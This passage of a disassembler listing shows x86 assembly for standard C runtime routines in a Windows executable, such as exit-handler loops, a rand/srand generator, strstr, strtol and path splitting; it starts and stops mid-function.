		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DBE20, edi
		mov	byte_4DBE1C, bl
		jnz	short loc_41C224
		mov	eax, dword_4DD39C
		test	eax, eax
		jz	short loc_41C213
		mov	ecx, dword_4DD398
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41C212


loc_41C1FF:				; CODE XREF: sub_41C1B3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C207
		call	eax


loc_41C207:				; CODE XREF: sub_41C1B3+50j
		sub	esi, 4
		cmp	esi, dword_4DD39C
		jnb	short loc_41C1FF


loc_41C212:				; CODE XREF: sub_41C1B3+4Aj
		pop	esi


loc_41C213:				; CODE XREF: sub_41C1B3+3Cj
		push	offset dword_429034
		push	offset dword_42902C
		call	sub_41C24C
		pop	ecx
		pop	ecx


loc_41C224:				; CODE XREF: sub_41C1B3+33j
		push	offset dword_429040
		push	offset dword_429038
		call	sub_41C24C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41C24A
		push	[esp+4+arg_0]
		mov	dword_4DBE24, edi
		nop
		call	near ptr 77E75CB5h


loc_41C24A:				; CODE XREF: sub_41C1B3+85j
		pop	edi
		retn
sub_41C1B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C24C	proc near		; CODE XREF: ___:0041C179p
					; ___:0041C188p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41C251:				; CODE XREF: sub_41C24C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41C264
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C25F
		call	eax


loc_41C25F:				; CODE XREF: sub_41C24C+Fj
		add	esi, 4
		jmp	short loc_41C251
; ---------------------------------------------------------------------------


loc_41C264:				; CODE XREF: sub_41C24C+9j
		pop	esi
		retn
sub_41C24C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C266	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C2A6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C2B3
; ---------------------------------------------------------------------------


loc_41C2A6:				; CODE XREF: sub_41C266+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C2B3:				; CODE XREF: sub_41C266+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C266	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2B8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+315Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43AE00, eax
		retn
sub_41C2B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2C2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43AE00
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43AE00, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41C2C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2E0	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C35A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C347


loc_41C2F8:				; CODE XREF: sub_41C2E0+52j
					; sub_41C2E0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jz	short loc_41C314


loc_41C309:				; CODE XREF: sub_41C2E0+32j
		mov	al, [esi]
		inc	esi


loc_41C30C:				; CODE XREF: sub_41C2E0+3Fj
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jnz	short loc_41C309


loc_41C314:				; CODE XREF: sub_41C2E0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C31A:				; CODE XREF: sub_41C2E0+23j
					; sub_41C2E0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41C30C
		lea	edi, [esi-1]


loc_41C324:				; CODE XREF: sub_41C2E0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C353
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41C2F8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C353
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41C324
		jmp	short loc_41C2F8
; ---------------------------------------------------------------------------


loc_41C347:				; CODE XREF: sub_41C2E0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C996
; ---------------------------------------------------------------------------


loc_41C353:				; CODE XREF: sub_41C2E0+49j
					; sub_41C2E0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C35A:				; CODE XREF: sub_41C2E0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C360	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C15p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C39F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C3AC
; ---------------------------------------------------------------------------


loc_41C39F:				; CODE XREF: sub_41C360+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C3AC:				; CODE XREF: sub_41C360+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3B1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+2177p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B9C0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C3EC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C3EC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C3E8
		push	2
		push	ebx
		push	esi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C3E8:				; CODE XREF: sub_41C3B1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C3F6
; ---------------------------------------------------------------------------


loc_41C3EC:				; CODE XREF: sub_41C3B1+18j
					; sub_41C3B1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C3F6
		and	byte ptr [eax],	0


loc_41C3F6:				; CODE XREF: sub_41C3B1+39j
					; sub_41C3B1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C46E


loc_41C409:				; CODE XREF: sub_41C3B1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DD261[edx], 4
		jz	short loc_41C41A
		inc	eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C41A:				; CODE XREF: sub_41C3B1+64j
		cmp	cl, 2Fh
		jz	short loc_41C42E
		cmp	cl, 5Ch
		jz	short loc_41C42E
		cmp	cl, 2Eh
		jnz	short loc_41C434
		mov	[ebp+var_4], eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C42E:				; CODE XREF: sub_41C3B1+6Cj
					; sub_41C3B1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C434:				; CODE XREF: sub_41C3B1+67j
					; sub_41C3B1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C409
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C46E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C469
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C452
		mov	edi, esi


loc_41C452:				; CODE XREF: sub_41C3B1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420B29
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C469:				; CODE XREF: sub_41C3B1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C478
; ---------------------------------------------------------------------------


loc_41C46E:				; CODE XREF: sub_41C3B1+56j
					; sub_41C3B1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C478
		and	byte ptr [ecx],	0


loc_41C478:				; CODE XREF: sub_41C3B1+BBj
					; sub_41C3B1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C4CB
		cmp	edi, ebx
		jb	short loc_41C4CB
		cmp	[ebp+arg_C], 0
		jz	short loc_41C4A8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C491
		mov	edi, esi


loc_41C491:				; CODE XREF: sub_41C3B1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420B29
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C4A8:				; CODE XREF: sub_41C3B1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C4F3
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C4B8
		mov	esi, eax


loc_41C4B8:				; CODE XREF: sub_41C3B1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C4F3
; ---------------------------------------------------------------------------


loc_41C4CB:				; CODE XREF: sub_41C3B1+CCj
					; sub_41C3B1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C4E9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C4DA
		mov	esi, eax


loc_41C4DA:				; CODE XREF: sub_41C3B1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C4E9:				; CODE XREF: sub_41C3B1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C4F3
		and	byte ptr [eax],	0


loc_41C4F3:				; CODE XREF: sub_41C3B1+FCj
					; sub_41C3B1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C3B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C500	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C520


loc_41C50C:				; CODE XREF: sub_41C500+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C50C


loc_41C520:				; CODE XREF: sub_41C500+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C52F	proc near		; CODE XREF: sub_401ACD+73F5p
					; sub_401ACD+7424p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C543
		xor	eax, eax
		jmp	short loc_41C579
; ---------------------------------------------------------------------------


loc_41C543:				; CODE XREF: sub_41C52F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C573
		mov	esi, [ebp+arg_8]


loc_41C54C:				; CODE XREF: sub_41C52F+42j
		dec	dword ptr [esi+4]
		js	short loc_41C55B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C562
; ---------------------------------------------------------------------------


loc_41C55B:				; CODE XREF: sub_41C52F+20j
		push	esi
		call	sub_41F8E3
		pop	ecx


loc_41C562:				; CODE XREF: sub_41C52F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C57D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C573
		dec	[ebp+arg_4]
		jnz	short loc_41C54C


loc_41C573:				; CODE XREF: sub_41C52F+18j
					; sub_41C52F+3Dj ...
		and	byte ptr [edi],	0


loc_41C576:				; CODE XREF: sub_41C52F+55j
		mov	eax, ebx
		pop	esi


loc_41C579:				; CODE XREF: sub_41C52F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C57D:				; CODE XREF: sub_41C52F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C573
		xor	ebx, ebx
		jmp	short loc_41C576
sub_41C52F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C586	proc near		; CODE XREF: ___:0041E645p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C586	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C59D	proc near		; CODE XREF: sub_41C586+Ep
					; sub_41C7A5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C5B5:				; CODE XREF: sub_41C59D+46j
		cmp	dword_43D084, 1
		jle	short loc_41C5CD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C5DC
; ---------------------------------------------------------------------------


loc_41C5CD:				; CODE XREF: sub_41C59D+1Fj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C5DC:				; CODE XREF: sub_41C59D+2Ej
		test	eax, eax
		jz	short loc_41C5E5
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C5B5
; ---------------------------------------------------------------------------


loc_41C5E5:				; CODE XREF: sub_41C59D+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C5F3
		or	[ebp+arg_C], 2
		jmp	short loc_41C5F8
; ---------------------------------------------------------------------------


loc_41C5F3:				; CODE XREF: sub_41C59D+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C5FE


loc_41C5F8:				; CODE XREF: sub_41C59D+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C5FE:				; CODE XREF: sub_41C59D+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C795
		cmp	eax, 1
		jz	loc_41C795
		cmp	eax, 24h
		jg	loc_41C795
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C646
		cmp	bl, 30h
		jz	short loc_41C630
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C630:				; CODE XREF: sub_41C59D+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C643
		cmp	al, 58h
		jz	short loc_41C643
		mov	[ebp+arg_8], 8
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C643:				; CODE XREF: sub_41C59D+97j
					; sub_41C59D+9Bj
		mov	[ebp+arg_8], ecx


loc_41C646:				; CODE XREF: sub_41C59D+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C662
		cmp	bl, 30h
		jnz	short loc_41C662
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C65A
		cmp	al, 58h
		jnz	short loc_41C662


loc_41C65A:				; CODE XREF: sub_41C59D+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C662:				; CODE XREF: sub_41C59D+91j
					; sub_41C59D+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C672:				; CODE XREF: sub_41C59D+16Cj
		cmp	dword_43D084, 1
		movzx	esi, bl
		jle	short loc_41C68A
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C695
; ---------------------------------------------------------------------------


loc_41C68A:				; CODE XREF: sub_41C59D+DFj
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C695:				; CODE XREF: sub_41C59D+EBj
		test	eax, eax
		jz	short loc_41C6A1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C6D3
; ---------------------------------------------------------------------------


loc_41C6A1:				; CODE XREF: sub_41C59D+FAj
		cmp	dword_43D084, 1
		jle	short loc_41C6B5
		push	edi
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C6C0
; ---------------------------------------------------------------------------


loc_41C6B5:				; CODE XREF: sub_41C59D+10Bj
		mov	eax, off_43CE78
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C6C0:				; CODE XREF: sub_41C59D+116j
		test	eax, eax
		jz	short loc_41C70E
		movsx	eax, bl
		push	eax
		call	sub_420BB3
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C6D3:				; CODE XREF: sub_41C59D+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C70E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C6F8
		jnz	short loc_41C6F2
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C6F8


loc_41C6F2:				; CODE XREF: sub_41C59D+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C701
; ---------------------------------------------------------------------------


loc_41C6F8:				; CODE XREF: sub_41C59D+145j
					; sub_41C59D+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C701:				; CODE XREF: sub_41C59D+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C672
; ---------------------------------------------------------------------------


loc_41C70E:				; CODE XREF: sub_41C59D+125j
					; sub_41C59D+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C72C
		test	edx, edx
		jz	short loc_41C726
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C726:				; CODE XREF: sub_41C59D+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C72C:				; CODE XREF: sub_41C59D+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C752
		test	cl, 1
		jnz	short loc_41C779
		and	ecx, 2
		jz	short loc_41C749
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C752


loc_41C749:				; CODE XREF: sub_41C59D+1A1j
		test	ecx, ecx
		jnz	short loc_41C779
		cmp	[ebp+var_8], eax
		jbe	short loc_41C779


loc_41C752:				; CODE XREF: sub_41C59D+197j
					; sub_41C59D+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DBDDC, 22h
		jz	short loc_41C768
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C768:				; CODE XREF: sub_41C59D+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C779:				; CODE XREF: sub_41C59D+18Dj
					; sub_41C59D+19Cj ...
		test	edx, edx
		jz	short loc_41C782
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C782:				; CODE XREF: sub_41C59D+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C790
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C790:				; CODE XREF: sub_41C59D+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------


loc_41C795:				; CODE XREF: sub_41C59D+66j
					; sub_41C59D+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C79E
		mov	[eax], edi


loc_41C79E:				; CODE XREF: sub_41C59D+1FDj
		xor	eax, eax


loc_41C7A0:				; CODE XREF: sub_41C59D+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C59D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7A5	proc near		; CODE XREF: sub_401ACD+60F0p
					; sub_401ACD+6931p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C7A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7BC	proc near		; CODE XREF: sub_401ACD+58ADp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 26A06B3h
		test	eax, eax
		jnz	short loc_41C7D2
		nop
		call	near ptr 26A0E98h
		jmp	short loc_41C7D4
; ---------------------------------------------------------------------------


loc_41C7D2:				; CODE XREF: sub_41C7BC+Cj
		xor	eax, eax


loc_41C7D4:				; CODE XREF: sub_41C7BC+14j
		test	eax, eax
		jz	short loc_41C7E3
		push	eax
		call	sub_420C7F
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C7E3:				; CODE XREF: sub_41C7BC+1Aj
		xor	eax, eax
		retn
sub_41C7BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7E6	proc near		; CODE XREF: sub_401ACD+5801p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420CE6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41FF3F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420D73
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C7E6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C820	proc near		; CODE XREF: sub_401ACD+1E1Fp
					; sub_401ACD+1E3Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C841
		xor	eax, eax
		jmp	short loc_41C843
; ---------------------------------------------------------------------------


loc_41C841:				; CODE XREF: sub_41C820+1Bj
		mov	eax, edi


loc_41C843:				; CODE XREF: sub_41C820+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C850	proc near		; CODE XREF: sub_401ACD+854p
					; ___:0041E5BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C881
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C87F
		jz	short loc_41C881
		dec	ecx
		dec	ecx


loc_41C87F:				; CODE XREF: sub_41C850+29j
		not	ecx


loc_41C881:				; CODE XREF: sub_41C850+9j
					; sub_41C850+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C890	proc near		; CODE XREF: sub_401ACD+42Dp
					; sub_401ACD+2FB3p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C901
sub_41C890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C8A0	proc near		; CODE XREF: sub_401ACD+436p
					; sub_401ACD+746Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C8BC


loc_41C8AD:				; CODE XREF: sub_41C8A0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C8EF
		test	ecx, 3
		jnz	short loc_41C8AD


loc_41C8BC:				; CODE XREF: sub_41C8A0+Bj
					; sub_41C8A0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C8BC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C8FE
		test	ah, ah
		jz	short loc_41C8F9
		test	eax, 0FF0000h
		jz	short loc_41C8F4
		test	eax, 0FF000000h
		jz	short loc_41C8EF
		jmp	short loc_41C8BC
; ---------------------------------------------------------------------------


loc_41C8EF:				; CODE XREF: sub_41C8A0+12j
					; sub_41C8A0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F4:				; CODE XREF: sub_41C8A0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F9:				; CODE XREF: sub_41C8A0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8FE:				; CODE XREF: sub_41C8A0+39j
		lea	edi, [ecx-4]


loc_41C901:				; CODE XREF: sub_41C890+5j
					; sub_41C8A0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C926


loc_41C90D:				; CODE XREF: sub_41C8A0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C978
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C90D
		jmp	short loc_41C926
; ---------------------------------------------------------------------------


loc_41C921:				; CODE XREF: sub_41C8A0+9Ej
					; sub_41C8A0+B8j
		mov	[edi], edx
		add	edi, 4


